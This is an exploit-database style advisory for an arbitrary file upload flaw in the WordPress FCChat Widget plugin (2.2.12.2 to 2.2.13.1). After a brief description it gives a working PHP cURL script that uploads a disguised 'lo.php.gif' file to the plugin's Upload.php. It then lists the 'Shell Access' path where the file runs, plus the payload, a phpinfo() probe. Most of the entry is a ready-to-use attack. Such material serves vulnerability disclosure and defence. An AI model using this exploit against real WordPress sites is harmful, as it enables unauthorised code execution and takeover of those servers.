WordPress Plugin FCChat Widget 2.2.x – ‘upload.php’ Arbitrary File Upload
source: https://www.securityfocus.com/bid/53855/info WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable. <?php $uploadfile="lo.php.gif"; $ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile", 'Submit'=>'submit')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif lo.php.gif <?php phpinfo(); ?> |